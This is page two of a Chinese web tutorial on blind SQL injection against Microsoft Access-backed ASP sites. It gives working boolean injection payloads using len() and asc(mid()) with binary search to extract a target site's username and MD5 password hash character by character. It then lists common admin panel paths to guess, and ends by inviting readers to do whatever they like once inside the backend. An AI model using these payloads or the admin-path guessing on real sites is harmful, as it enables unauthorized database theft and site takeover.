设为首页
收藏本站
最新电影
> 子栏目 常用技巧 | 网络安全 | 网路工程
您现在的位置: 首页=>计算机技术=>网络安全 订阅本栏目  
SQL注入漏洞初级应用之Access篇
时间: 2007-09-28 11:50:14 阅读次数:5538

第 1 页 SQL注入漏洞初级应用之Access篇[1]
第 2 页 SQL注入漏洞初级应用之Access篇[2]



6.再进一步判断账号和密码的长度

[table]
  这里我说一下常用的方法,判断的时候大于小于一起用嘛,学过数据结构的人都知道有二分法,我这里也引用一下,比如说你判断 >4 而又判断<12 那我接下来就取中间的看是大于8还是小于8,如果是大于8则说明在8到12之间,如果是小于8说明在4到8之间,再接着用二分法判断下去当然由于账号密码一般人不会太长,所以在这里二分法的优势体现的不够明显,不过到下面猜账号密码字符的时候就能明显感受到了

  首先判断账号username的字符长度:and exists (select userid from users where len(username)<10 and userid=11),返回正常说明长度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常说明长度小于5,最后猜到的是

  and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6:

  


  再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解

  到此,我们得到的信息如下:

  账号username长度:4

  密码userpwd长度:16
7.猜解账号密码字符

  在这里的猜解要用到asc(mid())这个函数前面基础篇我们已经讲过这些函数了,我这里稍提一下飞飞Asp技术乐,园asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符

  格式:mid(字符串,开始位置,子串长度)

[table]
  比如说mid(name,1,1)即取name字符串里第一个字符如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y

  这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的在后面加上如下的语句:

  and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了下面我们用到二分法的思想开始猜解第一位字符:

  and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常

  and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常

  以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765

  and 11=(select userid from users where asc(mid(username,1,1))= -19765)

  ASCII码为-19765对应的字符就是:菜

  下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7:

  
飞飞Asp技术乐@园

  对应字符为:鸟

  到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:

  作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了

  接着猜密码,依然二分法,就不抓图了:

  and 11=(select userid from users where asc(mid(userpwd,1,1))<50)

  and 11=(select userid from users where asc(mid(userpwd,1,1))>40)

  最后得到的为:48 对应的字符就是0

  依此下去,最后得到加密后的MD5值为:00d60a849c6c381e ,由于MD5目前没有好的破解方法,只能暴力破解,我们就此打此
8.后台的猜解

  经过前面辛苦的猜解,我们已经得到这个网站的账号密码了,当然这里已经是MD5加密了,我们只是说一下常规的SQL注入攻击中的一步,往往也是最为关键的一步:寻找网站管理后台 [table]像这样动态生成页面的网站,一般都会有个管理后台的,添加文章编辑文章修改文章删除文章什么的,而一般的程序员在命名后台的时候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,当然还有退出后台的文件:logout.asp admin_logout.asp admin/admin_logout.asp等一个一个的访问,结果嘛,我只能说靠运气加上你的经验了以这个站为例,前面那些登录的我一个也没猜到,因为我猜到有admin这个目录,我就一直以为登录的页面也在admin目录,猜了好久,最后无意访问admin/logout.asp,页面居然自动转到后台登录页面了,居然是上一级目录的login.asp,我狂汗,如图8:

  
飞飞Asp技术@乐园

  有了后台,有了账号密码(当然这个站是MD5加密的密码,我也懒得破解),你就可以进后台了,至于进后台你能做什么,就看后台的功能与你的技术了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦!





[上一页] [下一页]
站内搜索    

下一篇SQL注入攻击的原理及其防范措施

上一篇细说暴库的原理与方法

本栏目最新 栏目最新列表
windows7 巧用VHD格式加密文件夹,保护隐私
Windows 7使用 Bitlocker给“U盘/硬盘/SD卡
ESET(NOD32) ESS/EAV 4.0.437.0 BE 64位,支
ESET(NOD32) ESS/EAV 4.0.437.0 BE 32位 汉
P2P 终结者 4.06 LRLH 去广告最高优先权绿化
网站优化策划 栏目最新列表
增加网站外链的快速方法
网站上线前必做的30个检查
新的友情链接参考标准(没有google的PR情况
优化Google的AdSense广告的五个工具
王通讲SEO八大基础
站点最新 站点最新列表
微博推广的一些技巧
xhEditor v1.1.7 发布,
收集的一些轻量级非常实
50个新鲜兼容最新版本的
javascript中cookie的设
Excel中出现#VALUE!、#D
jquery插件:飞飞表情插件
十个使用HTML5开发的精彩
支持HTML5的浏览器有哪些
飞妮莫属:漫画:如何写出
历史最热10条信息  
MIME介绍 及 [1] [2] [3]
巧用Google和迅雷来下载
Transact SQL 常 [1] [2]
VIA Rhine II Fast Ethe
电脑常用端 [1] [2] [3]
Do you get a kick out
十道羊皮卷 欣赏+mp3版+
每日一句:A friend and
每日一句:Theres no tu
经典__悟透JavaScript
 width= 
伟哥博客 西安房产 123最新电影 三四六四